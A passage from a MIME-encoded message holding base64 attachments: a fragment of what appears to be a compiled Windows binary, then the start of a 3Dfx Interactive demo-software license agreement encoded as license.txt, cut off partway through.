AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAiD6AB0HUh1KItE
JARQ6EoNAACiwFDUAYPEBLgBAAAAwgwAoMBQ1AGEwHQF6JwNAAC4AQAAAMIMAJCQkJCD7Cih
CDDUAVOLXCQ0VYtsJEBWM/Y72FfGRCQTAHV7xgXgUNQBAOhVBQAAhMAPhEoBAACLRCREjUwk
FFGj5FDUAcYF4FDUAQf/FdBh1AGNVCQUi3wkPFJX6JMDAACKDeBQ1AGDxAiNRCQcgOH+VmgR
AQAAaBEBAABXUIgN4FDUAf8V1GHUAYXAD4XvAAAAgCXgUNQB++njAAAAOx0EMNQBdQzGBeBQ
1AEA6c8AAAD2BeBQ1AECD4TCAAAAg/srd0Z0KoP7IA+FrQAAAGgAfwAAagD/Fdhh1AGFwA+E
nQAAAFD/Fdxh1AHpkQAAAItFEItNLFCNRRyLEVCLRRhQ/xK+AQAAAOt3gfsRAQAAd0V0bYP7
LHVji0wkPIt1FFH/FeBh1AGLFov4jUQkFIvOUFf/UgRXi0QkQItMJBiLVCQcUIlNDIlVEP8V
5GHUAb4BAAAA6yqNg+r+//89/AAAAHcYM8mKiJQS1AH/JI2EEtQBgCXgUNQB/esFxkQkEwH2
BeBQ1AEEdEeB+xEBAAB1P4t8JERmhf92I6HkUNQBhcB0GosNGDDUAYvXgeL//wAAagFKUlFQ
/xXoYdQBoOBQ1AHGRCQTACT7ouBQ1AHrBIt8JESD+wJ0BYP7EnUMxkQkEwHGBeBQ1AEAoOBQ
1AGEwHUUixUMMNQBi0QkPFJq/FD/Fexh1AGKRCQThMB0F4tMJDyLFQww1AFVV1NRUv8V8GHU
AYvwoOBQ1AGEwHUMM8CjDDDUAaMQMNQBi8ZfXl1bg8QowhAAvRHUAb0R1AGvEdQBuBHUAQAA
AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAQKQkJCQkJCQkJCQkJCQkJBTi1wk
CFaLdCQUhdt8YYtGBIsNCDDUATvBdVShDDDUAYXAdUvHBSAw1AEAAAAAiwZq/FCjEDDUAf8V
9GHUAYXAowww1AF1FGr//xXEYdQBxwUQMNQBAAAAAOsUiw0QMNQBaEAQ1AFq/FH/Fexh1AGL
VCQQoRQw1AFWUlNQ/xXMYdQBXlvCDACQkJCQkJCQkJCB7LwAAABXaERQ1AH/FWhh1AGL+IX/
D4RlAQAAVos1XGHUAVVTaDxQ1AFX/9ZoNFDUAVeJRCQk/9ZoIFDUAVeL2P/WaBhQ1AFXi+j/
1mgQUNQBV4lEJCD/1ovwi0QkHIXAx0QkFAAAAAAPhKgAAACF2w+EoAAAAIXtD4SYAAAAi0Qk
GIXAD4SMAAAAhfYPhIQAAADGRCQQAf/VhcCJRCQUdESNTCQgUVD/04XAdDj2RCRIAXQUi4Qk
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
wgwAkJCQU1VWi3QkFIX2V7gBAAAAdROLDehQ1AGFyXUJM8BfXl1bwgwAi3wkHItcJBSD/gF0
BYP+AnUoiw34UNQBhcl0BVdWU//RhcB0DFdWU+jf/v//hcB1CTPAX15dW8IMAFdWU+jq7///
g/4Bi+h1DIXtdQhXUFPot/7//4X2dAWD/gN1IldWU+im/v//hcB1AjPthe10EKH4UNQBhcB0
B1dWU//Qi+hfi8VeXVvCDACQkJD/JXhh1AHMzMzMzMzMzMzMi4Xs/v//UOhE/v//WcOLhez+
//9Q6Db+//9Zw7gQQNQB6Tb+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAD==
--PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2
--PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2
Content-Type: application/octet-stream;
	name=license.txt
Content-Transfer-Encoding: base64
Content-ID: <Be4YBd57s8K0Z6868>

M0RGWCBJTlRFUkFDVElWRSwgSU5DLiBMSUNFTlNFIEFHUkVFTUVOVCANCg0KTElDRU5TRSBB
TkQgQ09ORklERU5USUFMSVRZOiAgM0RmeCBJbnRlcmFjdGl2ZSwgSW5jLiAoIjNEZngiKSBn
cmFudHMgeW91IHRoZQ0KcmlnaHQgdG8gaW5zdGFsbCB0aGUgZW5jbG9zZWQgc29mdHdhcmUg
YW5kIHJlbGF0ZWQgZG9jdW1lbnRhdGlvbiAoY29sbGVjdGl2ZWx5LA0KdGhlICJNYXRlcmlh
bHMiKSBvbnRvIGEgc2luZ2xlIGNvbXB1dGVyIGZvciB5b3VyIHBlcnNvbmFsIHVzZS4gIFlv
dSBtYXkgbm90IHVzZSwNCmNvcHksIG1vZGlmeSwgc2VsbCwgdHJhbnNmZXIgb3IgZGlzY2xv
c2UgYW55IHBhcnQgb2YgdGhlIE1hdGVyaWFscyBleGNlcHQgYXMNCnByb3ZpZGVkIGluIHRo
aXMgQWdyZWVtZW50LiBZb3UgbWF5IG9ubHkgdXNlIHRoZSBNYXRlcmlhbHMgaW4gY29ubmVj
dGlvbiB3aXRoDQozRGZ4IHByb2R1Y3RzLg0KIA0KUkVTVFJJQ1RJT05TOiAgWW91IG1heSBu
b3Q6DQoxLglTdWJsaWNlbnNlIHRoZSBNYXRlcmlhbHM7DQoyLglSZXZlcnNlIGVuZ2luZWVy
LCBkZWNvbXBpbGUsIG9yIGRpc2Fzc2VtYmxlIHRoZSBlbmNsb3NlZCBzb2Z0d2FyZTsNCjMu
CVVzZSB0aGUgTWF0ZXJpYWxzIGZvciBmb3IgYW55IHBsYXRmb3JtIG9yIHByb2R1Y3RzIG90
aGVyDQoJdGhhbiAzRGZ4IHByb2R1Y3RzOw0KNC4JTWFrZSBjb3BpZXMgb2YgdGhlIE1hdGVy
aWFscyBvdGhlciB0aGFuIGZvciBiYWNrLXVwIHB1cnBvc2VzLCBhbmQgeW91DQoJbWF5IG5v
dCB1c2UgdGhlIGJhY2stdXAgY29waWVzIG90aGVyIHRoYW4gYXMgYSByZXBsYWNlbWVudCBm
b3IgdGhlDQoJb3JpZ2luYWwgY29weS4gIFlvdSBtdXN0IGluY2x1ZGUgb24gdGhlIGJhY2st
dXAgY29waWVzIGFsbCBjb3B5cmlnaHQNCglhbmQgb3RoZXIgbm90aWNlcyBpbmNsdWRlZCBv
biB0aGUgTWF0ZXJpYWxzOyBhbmQNCjUuCUV4cG9ydCB0aGUgTWF0ZXJpYWxzIGluIHZpb2xh
dGlvbiBvZiB0aGUgZXhwb3J0IGNvbnRyb2wgbGF3cyBvZiB0aGUNCglVbml0ZWQgU3RhdGVz
IG9mIEFtZXJpY2EgYW5kIG90aGVyIGNvdW50cmllcy4NCg0KRGVtbyBTb2Z0d2FyZTogIDNE
ZnggaGVyZWJ5IGdyYW50cyB0byB5b3UgdGhlIHJpZ2h0IHRvIHVzZSB0aGUgZGVtbyBzb2Z0
d2FyZSBvbiANCnlvdXIgcGVyc29uYWwgY29tcHV0ZXIgd2l0aCAzRGZ4IHByb2R1Y3RzLiAg
WW91IGFncmVlIHRvIGluZGVtbmlmeSAzRGZ4IGFuZCBpdHMgDQphZmZpbGlhdGVzIGFnYWlu
c3QgYW55IGxvc3MsIGxpYWJpbGl0eSBvciBleHBlbnNlIChpbmNsdWRpbmcgcmVhc29uYWJs
ZSBsZWdhbCANCmZlZXMpIGFyaXNpbmcgb3V0IG9mIG9yIGluIGNvbm5lY3Rpb24gd2l0aCB0
aGUgdXNlLCBtYXJrZXRpbmcsIGxpY2Vuc2luZyBvciBzYWxlIA0Kb2YgdGhlIGRlbW8gc29m
dHdhcmUgb3IgdGhlIG1haW50ZW5hbmNlLCBzdXBwb3J0IG9yIG90aGVyIHNlcnZpY2VzIG9y
IGFjdGl2aXRpZXMgDQpyZWxhdGVkIHRoZXJldG8uDQoNClRFUk1JTkFUSU9OOiAgVXBvbiBh
bnkgdmlvbGF0aW9uIG9mIGFueSBvZiB0aGUgcHJvdmlzaW9ucyBvZiB0aGlzIEFncmVlbWVu
dCwNCnlvdXIgcmlnaHQgdG8gdXNlIHRoZSBNYXRlcmlhbHMgc2hhbGwgYXV0b21hdGljYWxs
eSB0ZXJtaW5hdGUgYW5kIHlvdSBzaGFsbCBiZQ0Kb2JsaWdhdGVkIHRvIHJldHVybiB0byAz
RGZ4IG9yIGRlc3Ryb3kgYWxsIG9mIHlvdXIgY29waWVzIG9mIHRoZSBNYXRlcmlhbHMuDQog
DQpPV05FUlNISVAgQU5EIENPUFlSSUdIVCBPRiBNQVRFUklBTFM6ICBFeGNlcHQgZm9yIHRo
ZSBsaWNlbnNlIGV4cHJlc3NseSBncmFudGVkDQpoZXJldW5kZXIsIDNEZnggcmV0YWlucyBh
bGwgcmlnaHRzLCB0aXRsZSBhbmQgaW50ZXJlc3RzIGluIGFuZCB0byB0aGUgTWF0ZXJpYWxz
DQphbmQgYWxsIGNvcGllcyB0aGVyZW9mLiAgVGhlIE1hdGVyaWFscyBhcmUgY29weXJpZ2h0
ZWQgYW5kIGFyZSBwcm90ZWN0ZWQgYnkNClVuaXRlZCBTdGF0ZXMgY29weXJpZ2h0IGxhd3Mg
YW5kIGludGVybmF0aW9uYWwgdHJlYXR5IHByb3Zpc2lvbnMuICBZb3UNCmFja25vd2xlZGdl
IHRoYXQgdGhlIE1hdGVyaWFscyBhcmUgdmFsdWFibGUgdHJhZGUgc2VjcmV0cyBvZiAzRGZ4
LiAgWW91IG1heQ0Kbm90IHJlbW92ZSB0aGUgY29weXJpZ2h0IGFuZCBvdGhlciBwcm9wcmll
dGFyeSByaWdodHMgbm90aWNlcyBmcm9tIHRoZQ0KTWF0ZXJpYWxzLiAgWW91IGFncmVlIHRo
YXQgdGhpcyBBZ3JlZW1lbnQgc2hhbGwgYmUgcmV0YWluZWQgd2l0aCBhbGwgcHJpbnRlZA0K
YW5kIGVsZWN0cm9uaWMgY29waWVzIHRoZSBzb2Z0d2FyZSBhbmQgZG9jdW1lbnRhdGlvbiBj
b25zdGl0dXRpbmcgdGhlIE1hdGVyaWFscy4NCllvdSBhZ3JlZSB0byBwcmV2ZW50IGFueSB1
bmF1dGhvcml6ZWQgY29weWluZyBvZiB0aGUgTWF0ZXJpYWxzLiAgRXhjZXB0IGFzDQpleHBy
ZXNzbHkgcHJvdmlkZWQgaGVyZWluLCAzRGZ4IGRvZXMgbm90IGdyYW50IGFueSBleHByZXNz
IG9yIGltcGxpZWQgcmlnaHQgdG8NCnlvdSB1bmRlciAzRGZ4IHBhdGVudHMsIGNvcHlyaWdo
dHMsIHRyYWRlbWFya3MsIG9yIHRyYWRlIHNlY3JldCBpbmZvcm1hdGlvbi4NCg0KTk8gV0FS
UkFOVFk7IE5PIExJQUJJTElUWSBGT1IgREFNQUdFUzogIFRIRSBNQVRFUklBTFMgQVJFIFBS
T1ZJREVEICJBUyBJUyIgDQpXSVRIT1VUIEFOWSBFWFBSRVNTIE9SIElNUExJRUQgV0FSUkFO
VFkgT0YgQU5ZIEtJTkQgSU5DTFVESU5HIFdBUlJBTlRJRVMgDQpPRiBTQVRJU0ZBQ1RPUlkg
UVVBTElUWSwgTUVSQ0hBTlRBQklMSVRZLCBOT05JTkZSSU5HRU1FTlQgT0YgVEhJUkQtUEFS
VFkgDQpJTlRFTExFQ1RVQUwgUFJPUEVSVFksIE9SIEZJVE5FU1MgRk9SIEFOWSBQQVJUSUNV
TEFSIFBVUlBPU0UuICBJTiBOTyBFVkVOVCANClNIQUxMIDNERlggQkUgTElBQkxFIEZPUiBB
TlkgREFNQUdFUyBXSEFUU09FVkVSIChJTkNMVURJTkcsIFdJVEhPVVQgDQpMSU1JVEFUSU9O
LCBESVJFQ1QgT1IgSU5ESVJFQ1QgREFNQUdFUywgREFNQUdFUyBGT1IgTE9TUyBPRiBQUk9G
SVRTLCBCVVNJTkVTUyANCklOVEVSUlVQVElPTiwgTE9TUyBPRiBJTkZPUk1BVElPTikgQVJJ
U0lORyBPVVQgT0YgVEhFIFVTRSBPRiBPUiBJTkFCSUxJVFkgVE8gDQpVU0UgVEhFIE1BVEVS
SUFMUywgRVZFTiBJRiAzREZYIEhBUyBCRUVOIEFEVklTRUQgT0YgVEhFIFBPU1NJQklMSVRZ
IE9GIFNVQ0ggDQpEQU1BR0VTLiBXaXRob3V0IGxpbWl0aW5nIHRoZSBnZW5lcmFsaXR5IG9m
IHRoZSBmb3JlZ29pbmcsIG5vIHdhcnJhbnR5IGlzIG1hZGUNCnRoYXQgdGhlIGVuY2xvc2Vk
IHNvZnR3YXJlIHdpbGwgZ2VuZXJhdGUgY29tcHV0ZXIgcHJvZ3JhbXMgd2l0aCB0aGUNCmNo
YXJhY3RlcmlzdGljcyBvciBzcGVjaWZpY2F0aW9ucyBkZXNpcmVkIGJ5IHlvdSBvciB0aGF0
IHRoZSBkZW1vIHNvZnR3YXJlDQp3aWxsIGJlIGVycm9yLWZyZWUuICBUSEVTRSBESVNDTEFJ
TUVSUyBPRiBXQVJSQU5UWSBDT05TVElUVVRFIEFOIEVTU0VOVElBTCBQQVJUDQpPRiBUSElT
IEFHUkVFTUVOVC4gIEJlY2F1c2Ugc29tZSBqdXJpc2RpY3Rpb25zIHByb2hpYml0IHRoZSBl
eGNsdXNpb24gb3INCmxpbWl0YXRpb24gb2YgbGlhYmlsaXR5IGZvciBkYW1hZ2VzLCB0aGUg
YWJvdmUgbGltaXRhdGlvbiBtYXkgbm90IGFwcGx5IHRvIHlvdQ0KYW5kIHlvdSBtYXkgaGF2
ZSBvdGhlciBsZWdhbCByaWdodHMgdGhhdCB2YXJ5IGJ5IGp1cmlzZGljdGlvbi4NCg0KTk8g
U1VQUE9SVDogIDNEZnggZG9lcyBub3QgcHJvdmlkZSBhbnkgc3VwcG9ydCBmb3IgdGhlIE1h
dGVyaWFscy4gIEhvd2V2ZXIsDQozRGZ4IGRvZXMgaGF2ZSBhIG5ld3Nncm91cCBhdCBpdHMg
d2ViIHNpdGUgaW4gd2hpY2ggdGhlIGVuY2xvc2VkIHNvZnR3YXJlIGlzDQpkaXNjdXNzZWQu
ICAzRGZ4IGRvZXMgbm90LCBob3dldmVyLCBtYWtlIGFueSByZXByZXNlbnRhdGlvbnMgb3Ig
d2FycmFudGllcyBhcw0KdG8gdGhlIGFjY3VyYWN5IG9mIGFueSBzdGF0ZW1lbnRzIG9yIGFk
dmljZSBwcm92aWRlZCBieSBhbnkgcGFydGljaXBhbnQgaW4gdGhlDQpuZXdzZ3JvdXAuIA0K
DQpVUyBHT1ZFUk5NRU5UIFJFU1RSSUNURUQgUklHSFRTLiAgVXNlLCBkdXBsaWNhdGlvbiBv
ciBkaXNjbG9zdXJlIGJ5IHRoZSBVLlMuDQpnb3Zlcm5tZW50IGlzIHN1YmplY3QgdG8gcmVz
dHJpY3Rpb25zIHNldCBmb3J0aCBpbiBzdWJwYXJhZ3JhcGhzIChhKSB0aHJvdWdoDQooZCkg
b2YgdGhlIENvbW1lcmNpYWwgQ29tcHV0ZXItUmVzdHJpY3RlZCBSaWdodHMgY2xhdXNlIGF0
IEZBUiA1Mi4yMjctMTkgd2hlbg0KYXBwbGljYWJsZSwgb3IgaW4gc3VicGFyYWdyYXBoIChj
KShsKShpaSkgb2YgdGhlIFJpZ2h0cyBpbiBUZWNobmljYWwgRGF0YSBhbmQNCkNvbXB1dGVy
IFNvZnR3YXJlIGNsYXVzZSBhdCBERkFSUyAyNTIuMjI3LTcwMTMsIG9yIGF0IDI1Mi4yMTEt
NzAxNSwgb3IgdG8NCjNEZniScyBzdGFuZGFyZCBjb21tZXJjaWFsIGxpY2Vuc2UsIGFzIGFw
cGxpY2FibGUsIGFuZCBpbiBzaW1pbGFyIGNsYXVzZXMgaW4NCnRoZSBOQVNBIEZBUiBTdXBw
